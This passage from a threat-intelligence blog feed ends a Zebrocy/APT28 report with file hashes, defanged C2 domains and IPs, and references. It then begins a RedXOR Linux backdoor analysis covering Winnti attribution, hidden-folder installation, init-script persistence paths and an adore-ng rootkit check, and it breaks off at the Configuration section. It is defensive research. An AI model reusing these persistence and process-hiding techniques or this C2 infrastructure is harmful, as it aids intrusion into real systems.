&lt;li&gt;&lt;code&gt;4fdc37f59801976606849882095992efecee0931ece77d74015113123643796e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2bef4a398a88749828afac59b773ae8b31c8e4e5b499aad516dd39ada1a11eca&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d6e2a79bc87d48819fabe332dd3539f572605bb6091d34ae7d25ae0934b606b5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;6ee2fd3994acdbb9a1b1680ccd3ac4b7dcb077b30b44c8677252202a03dccf79&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ea9e5ad0ef82af2c0c75c371e683352a781eb2260a45c584d70995edec956ce9&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0d83c1f7d2d7ea0e7fe144933bfa9dd314dae3937af714ea9274f43641756060&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4d59a7739f15c17f144587762447d5abb81c01f16224a3f7ce5897d1b6f7ee77&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;39e8455d21447e32141dc064eb7504c6925f823bf6d9c8ce004d44cb8facc80b&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cb4a93864a19fc14c1e5221912f8e7f409b5b8d835f1b3acc3712b80e4a909f1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b72188ba545ad865eb34954afbbdf2c9e8ebc465a87c5122cebb711f41005939&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;005d2d373e7ba5ee42010870b9f9bf829213a42b2dd3c4f3f4405c8b904641f2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ba4b321bf2bc542d9e9bcfcf54bc98335acd0b27a5e5851f4667e6b23d968a04&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b0b4550ba09080e02c8a15cec8b5aeaa9fbb193cec1d92c793bdede78a70cec6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;a9a89bb76c6f06277b729bc2de5e1aaef05fc0d9675edbc0895c7591c35f17eb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bd83e801b836906bab4854351b4d6000e0a435736524a504b9839b5f7bdf97cc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3075a467e89643d1f37e9413a2b38328fbec4dd1717ae57128fdf1da2fe39819&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;8ab3879ed4b1601feb0de11637c9c4d1baeb5266f399d822f565299e5c1cd0c4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b83c41763b5e861e15614d3d6ab8573c7948bf176143ee4142516e9b8bcb4423&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0222f6bdfd21c41650bcb056f618ee9e4724e722b3abcd8731b92a99167c6f8d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b02c420e6f8a977cd254cd69281a7e8ce8026bda3fc594e1fc550c3b5e41565d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;6a698edb366f25f156e4b481639903d816c5f5525668f65e2c097ef682afc269&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9ee1a587acaddb45481aebd5778a6c293fe94f70fe89b4961098eb7ba32624a8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2762cbc81056348f2816de01e93d43398ba65354252c97928a56031e32ec776f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;476ee9c0b7f7f864b169f0d1beb1a3bbcc7dbab1bae7d7f77ee69e22ad25ff66&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;df3b1ad5445d628c24c1308aa6cb476bd9a06f0095a2b285927964339866b2c3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;26ce818e64caf89d795861db0c84a59e42428bd99b381feb53cb05a67ec69c07&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ff07325f5454c46e883fefc7106829f75c27e3aaf312eb3ab50525faba51c23c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;494122ff204f3dedaa8f0027f9f98971b32c50acbcce4efa8de0498efa148365&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;7419f0798c70888e7197f69ed1091620b2c6fbefead086b5faf23badf0474044&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ec62c984941954f0eb4f3e8baee455410a9dc0deb222360d376e28981c53b1a0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;56731c777896837782beff4432330486a941e4f3af44b4d24be7c62c16e96256&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0f7a8611deea696b2b36e44ea652c8979e296b623e841796a4ea4b6916b39e7c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;975f9ce0769a079e99f06870122e9c4d394dfd51a6020818feeef9ccdb8b0614&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0f19735f076a42396b9f41b10c314d094a54e0e647f2cf7a2c025da8f8e9f54e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9917c962b7e0a36592c4740d193adbd31bc1eae748d2b441e77817d648487cff&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;f24ee966ef2dd31204b900b5c7eb7e367bc18ff92a13422d800c25dbb1de1e99&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;7eb1dc1719f0918828cc8349ee56ca5e6bbde7cada3bc67a11d7ff7f420c7871&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;71e9cc55f159f2cec96de4f15b3c94c2b076f97d5d8cecb60b8857e7a8113a35&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;afdc010fc134b0b4a8b8788d084c6b0cff9ea255d84032571e038f1a29b56d0a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9528a97d8d73b0dbed2ac496991f0a2eecc5a857d22e994d227ae7c3bef7296f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0fc7154ebd80ea5d81d82e3a4920cb2699a8dd7c31100ca8ec0693a7bd4af8b7&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2d9d61ce6c01329808db1ca466c1c5fbf405e4e869ed04c59f0e45d7ad12f25b&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9ef2d114c329c169e7b62f89a02d3f7395cb487fcd6cff4e7cac1eb198407ba6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b2f5edef0e599005e205443b20f6ffd9804681b260eec52fa2f7533622f46a6c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dfc24fa837b6cd3210e7ea0802db3dcf7bb1f85bff2c1b4bda4c3c599821bf8c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;27868ae50b849506121c36b00d92afe3115ce2f041cc28476db8dfc0cc1d6908&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;7963f8606e4c0e7502a813969a04e1266e7cd20708bef19c338e8933c1b85eda&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;89da9a4a5c26b7818e5660b33941b45c8838fa7cfa15685adfe83ff84463799a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;187e0a02620b7775c2a8f88d5b27e80b5d419ad156afc50ef217a95547d0feaa&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b24eac4c704502ee8952ad32384daec5894fd81d7bb668224730d4fb06293942&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2945393c74dd6d8de782e060362cdd468004ae2633bb4958c6063cd2fd5f5561&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;707971879e65cbd70fd371ae76767d3a7bff028b56204ca64f27e93609c8c473&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;37be3d8810959e63d5b6535164e51f16ccea9ca11d7dab7c1dfaa335affe6e3d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C33a905e513005cee9071ed10933b8e6a11be2335755660e3f7b2adf554f704a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0e1e2f87699a24d1d7b0d984c3622971028a0cafaf665c791c70215f76c7c8fe&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;C2&lt;span class="hx:absolute hx:-mt-20" id="c2"&gt;&lt;/span&gt;
&lt;a href="#c2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;9832473219412342343423243242364-34939246823743287468793247237[.]site&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4895458025-4545445-222435-9635794543-3242314342-234123423728[.]space&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1221[.]site&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1681683130[.]website&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1833[.]site&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2215[.]site&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2055[.]site&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;16868138130[.]space&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;33655990[.]cyou&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;16868138130[.]space&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;name4050[.]com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;name1d[.]site&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;000000027[.]xyz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;coronavirus5g[.]site&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;99kg[.]site&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9348243249382479234343284324023432748892349702394023[.]xyz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;15052021[.]space&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1000020[.]xyz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;32689657[.]xyz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1000018[.]xyz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;32689658[.]xyz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;45[.]146[.]165[.]91&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;31[.]42[.]185[.]63&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;194[.]58[.]112[.]173&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;194[.]147[.]142[.]232&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;176[.]113[.]115[.]133&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;References&lt;span class="hx:absolute hx:-mt-20" id="references"&gt;&lt;/span&gt;
&lt;a href="#references" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;a href="https://www.cnbc.com/2014/10/28/russian-hackers-target-nato-military-secrets.html"target="_blank" rel="noopener"&gt;CNBC, Russian Hackers Target NATO, Military Secrets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"target="_blank" rel="noopener"&gt;FireEye, APT28: A Window Into Russia&amp;rsquo;s Cyber Espionage Operations?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securelist.com/greyenergys-overlap-with-zebrocy/89506/"target="_blank" rel="noopener"&gt;Kaspersky, GreyEnergy&amp;rsquo;s Overlap with Zebrocy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="../../../2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"&gt;Intezer, A Zebra in Gopher&amp;rsquo;s Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/"target="_blank" rel="noopener"&gt;Quointelligence, APT28 Delivers Zebrocy Malware Campaign using NATO Theme as Lure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"target="_blank" rel="noopener"&gt;ESET, Sednit Update: Analysis of Zebrocy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vk-intel.org/2019/01/22/lets-learn-progression-of-apt28-autoit-zebrocy-downloaders-source-code-level-analysis/"target="_blank" rel="noopener"&gt;VK-Intel. Let&amp;rsquo;s Learn: Progression of APT28 AutoIt Zebrocy Downloaders: Source-Code Level Analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/"target="_blank" rel="noopener"&gt;ESET, A Journey to Zebrocy Land&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/"target="_blank" rel="noopener"&gt;ESET, Sednit: What&amp;rsquo;s Going on with Zebrocy?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.justice.gov/opa/page/file/1098481/download"target="_blank" rel="noopener"&gt;Brady, S. Indictment – United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.justice.gov/file/1080281/download"target="_blank" rel="noopener"&gt;Mueller, R. Indictment – United States of America vs. Viktor Borisovich Netyksho, et al. Retrieved September 13, 2018&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://attack.mitre.org/groups/G0007/"target="_blank" rel="noopener"&gt;APT28 MITRE ATT&amp;amp;CK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://attack.mitre.org/software/S0251/"target="_blank" rel="noopener"&gt;Zebrocy MITRE ATT&amp;amp;CK&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>New Linux Backdoor RedXOR Likely Operated by Chinese Nation-State Actor</title><link>https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/</link><pubDate>Wed, 10 Mar 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/</guid><description>
&lt;ul&gt;
&lt;li&gt;We discovered a new sophisticated backdoor targeting Linux endpoints and
servers&lt;/li&gt;
&lt;li&gt;Based on Tactics, Techniques, and Procedures (TTPs) the backdoor is believed
to be developed by Chinese nation-state actors&lt;/li&gt;
&lt;li&gt;The backdoor masquerades itself as polkit daemon. We named it RedXOR for its
network data encoding scheme based on XOR. The malware was compiled on Red
Hat Enterprise Linux&lt;/li&gt;
&lt;li&gt;We provide recommendations for detecting and responding to this threat below&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Intro&lt;span class="hx:absolute hx:-mt-20" id="intro"&gt;&lt;/span&gt;
&lt;a href="#intro" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;2020
&lt;a href="https://intezer.com/blog/cloud-security/2020-set-record-for-new-linux-malware-families/?utm_campaign=research-blog&amp;amp;utm_content=new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;set a record&lt;/a&gt;
for new Linux malware families. New malware families targeting Linux systems
are being discovered on a regular basis. Backdoors attributed to advanced
threat actors are disclosed less frequently.&lt;/p&gt;
&lt;p&gt;We have discovered an undocumented backdoor targeting Linux systems,
masqueraded as &lt;a href="https://linux.die.net/man/8/polkitd"target="_blank" rel="noopener"&gt;polkit daemon&lt;/a&gt;. We named
it RedXOR for its network data encoding scheme based on XOR.&lt;/p&gt;
&lt;p&gt;Based on victimology, as well as similar components and Tactics, Techniques,
and Procedures (TTPs), we believe RedXOR was developed by high profile Chinese
threat actors. The samples, which have low detection rates in VirusTotal, were
uploaded from Indonesia and Taiwan, countries known to be targeted by Chinese
threat actors. The samples are compiled with a legacy GCC compiler on an old
release of Red Hat Enterprise Linux, hinting that RedXOR is used in targeted
attacks against legacy Linux systems.&lt;/p&gt;
&lt;p&gt;During our investigation we experienced an &amp;ldquo;on and off&amp;rdquo; availability of the
Command and Control (C2) server indicating that the operation is still active.&lt;/p&gt;
&lt;h2&gt;Connections to Chinese Threat Actors&lt;span class="hx:absolute hx:-mt-20" id="connections-to-chinese-threat-actors"&gt;&lt;/span&gt;
&lt;a href="#connections-to-chinese-threat-actors" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We uncovered key similarities between RedXOR and previously reported malware
associated with Winnti umbrella threat group. These malware are PWNLNX backdoor
and XOR.DDOS and Groundhog, two botnets attributed to Winnti by
&lt;a href="https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"target="_blank" rel="noopener"&gt;BlackBerry&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The below samples can be used for reference:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PWNLNX –
&lt;a href="https://analyze.intezer.com/files/6a9f16440b9319f427825bb12d7a0cda89b101cf7b8b15ec7dd620b4d68db514?utm_campaign=research-blog&amp;amp;utm_content=new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;4278ab79c34ea92788259fb43e535aa3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;XOR.DDOS –
&lt;a href="https://analyze.intezer.com/files/dba757c20fbc1d81566ef2877a9bfca9b3ddb84b9f04c0ca5ae668b7f40ea8c3?utm_campaign=research-blog&amp;amp;utm_content=new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;d6a6dee6afa6879b729a0af3cde7ff33&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Similarities between the samples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Use of old open-source kernel rootkits: RedXOR uses an open-source LKM
rootkit called &amp;ldquo;&lt;a href="https://github.com/yaoyumeng/adore-ng"target="_blank" rel="noopener"&gt;Adore-ng&lt;/a&gt;&amp;rdquo; to hide
its process. Based on a
&lt;a href="https://content.fireeye.com/apt-41/rpt-apt41/"target="_blank" rel="noopener"&gt;FireEye report&lt;/a&gt; Winnti used
this rootkit in their &amp;ldquo;ADORE.XSE&amp;rdquo; Linux backdoor. Embedding open-source LKM
rootkits is a common Winnti technique. The group has been documented using
&lt;a href="https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a"target="_blank" rel="noopener"&gt;Azazel&lt;/a&gt;
and
&lt;a href="https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf#MKTG%2020-0089%20Decade_the_RAT%27s_Report.indd%3A.176091%3A522"target="_blank" rel="noopener"&gt;Suterusu&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;code&gt;CheckLKM&lt;/code&gt; function name used by RedXOR has also been used in PWNLNX and
XOR.DDOS.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Provides the operator with a pseudo-terminal: RedXOR uses Python pty shell by
importing the &lt;a href="https://docs.python.org/3/library/pty.html"target="_blank" rel="noopener"&gt;python pty&lt;/a&gt;
library. PWNLNX implements the pty shell function in c.
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig1.png" title="Figure 1: Python pty shell used in RedXOR" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: Python pty shell used in RedXOR&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Encoding network with XOR: The backdoor encodes its network data with a
scheme based on XOR. Encoding network data with XOR has been used in previous
Winnti malware including PWNLNX.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Persistence service name: As part of its persistence methods, RedXOR attempts
to create a service under rc.d. The developer added &amp;ldquo;S99&amp;rdquo; before the name of
the service to lower its priority and make it run last on system initiation.
This technique was used in XOR.DDOS and Groundhog samples where the malware
developer added &amp;ldquo;S90&amp;rdquo; to the service name.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Main functions flow: PWNLX and RedXOR have a main function which is in charge
of initialization. In both backdoors, the main function calls another
function which is in charge of the main logic. The main logic function names
are main_process in RedXOR and MainThread in PWLNX. Both main functions
daemonize the process to detach from the terminal and run in the background.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;XML for file listing: RedXOR’s directory function and PWNLNX’s getfiles
function are both in charge of directory listing. Their code flow
implementation is different, however, as both malware send the directory
listing as an XML file to the C2 server. Figure 2 shows the XML structure
used in PWNLNX and RedXOR. The file’s data used in both functions are: path,
name, type, user, permission, size, time.
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig2.png" title="Figure 2: The XML structure used by PWNLNX’s getfiles function and RedXOR’s directory function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: The XML structure used by PWNLNX’s getfiles function and RedXOR’s directory function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Legacy Red Hat compilers: RedXOR and PWNLNX were both compiled with a Red Hat
4.4.7 compiler. This compiler is the default GCC compiler on RHEL6.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Chown similarity: Both PWNLNX and RedXOR change the file’s user and group
owner to a large ID. The same technique has been used by the XOR.DDoS malware
as referenced in the analysis by
&lt;a href="https://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html"target="_blank" rel="noopener"&gt;MalwareMustDie&lt;/a&gt;.
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig3.png" title="Figure 3: Similarity between PWNLNX and RedXOR of the UID and GID used with lchown function call" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: Similarity between PWNLNX and RedXOR of the UID and GID used with lchown function call&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Overall flow and functionalities: The overall code flow, behavior, and
capabilities of RedXOR are very similar to PWNLNX. Both have file uploading
and downloading functionalities together with a running shell. The network
tunneling functionality in both families is called &amp;ldquo;PortMap&amp;rdquo;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unstripped ELF binaries: Malware developers will often tamper with a file’s
symbols and/or sections, making it harder for researchers to analyze them.
However, RedXOR and various Winnti malware, including PWNLNX and XOR.DDOS,
are unstripped.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The samples are both unstripped 64-bit ELF files called po1kitd-update-k.
Uploaded to VirusTotal from Taiwan and Indonesia, they are low detected at the
time of this writing.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig4.png" title="Figure 4: 2bd6e2f8c1a97347b1e499e29a1d9b7c in VirusTotal" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: 2bd6e2f8c1a97347b1e499e29a1d9b7c in VirusTotal&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Malware Installation&lt;span class="hx:absolute hx:-mt-20" id="malware-installation"&gt;&lt;/span&gt;
&lt;a href="#malware-installation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Upon execution RedXOR forks off a child process allowing the parent process to
exit. The purpose is to detach the process from the shell. The new child
determines if it has been executed as the root user or as another user on the
system. It does this to create a hidden folder, called &lt;code&gt;.po1kitd.thumb&lt;/code&gt;, inside
the user’s home folder which is used to store files related to the malware. The
malware creates a hidden file called &lt;code&gt;.po1kitd-2a4D53&lt;/code&gt; inside the folder. The
file is locked to the current running process, seen in Figure 5, essentially
creating a mutex. If another instance of the malware is executed, it also tries
to obtain the lock but ultimately fails. Upon this failure the process exits.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig5.png" title="Figure 5: The malware creates a mutex file locking it to the process ID" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: The malware creates a mutex file locking it to the process ID&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After the malware creates the mutex, it installs itself on the infected
machine. As shown in Figure 6, the malware looks up its current path and moves
the binary to the created folder. It hides the file by naming it
&lt;code&gt;.po1kitd-update-k&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig6.png" title="Figure 6: Malware moves the binary to the hidden folder po1kitd.thumb created earlier. It first tries to use the rename function provided by libc. If this fails, it executes an mv shell command via the system function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: Malware moves the binary to the hidden folder po1kitd.thumb created earlier. It first tries to use the rename function provided by libc. If this fails, it executes an mv shell command via the system function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After installing the binary to the hidden folder, the malware sets up
persistence via &lt;code&gt;init&lt;/code&gt; scripts. The following files are created after executing
the malware on boot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/usr/syno/etc/rc.d/S99po1kitd-update.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/init.d/po1kitd-update&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/rc2.d/S99po1kitd-update&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The malware checks if the rootkit is active by creating a file and removing it.
Then, the malware compares the &amp;ldquo;saved set-user-ID&amp;rdquo; of the process to the user
ID. If they don’t match, the rootkit is enabled. If they match, it looks to see
if the user ID is &amp;ldquo;10&amp;rdquo;. If this is the case, the rootkit is enabled. This logic
is shown in Figure 7.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig7.png" title="Figure 7: Logic used by RedXOR to check if the rootkit is enabled" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: Logic used by RedXOR to check if the rootkit is enabled&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;CheckLKM&lt;/code&gt; logic is almost identical to the &lt;code&gt;adore_init&lt;/code&gt; function in the
&amp;ldquo;adore-ng&amp;rdquo; rootkit. Afore-ng is a Chinese open-source LKM (Loadable Kernel
Module) rootkit. This technique allows the malware to stay under the radar by
hiding its processes. The code for the init function is shown in Figure 8.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig8.png" title="Figure 8: Client authentication code for the adore-ng rootkit" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 8: Client authentication code for the adore-ng rootkit&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Configuration&lt;span class="hx:absolute hx:-mt-20" id="configuration"&gt;&lt;/span&gt;
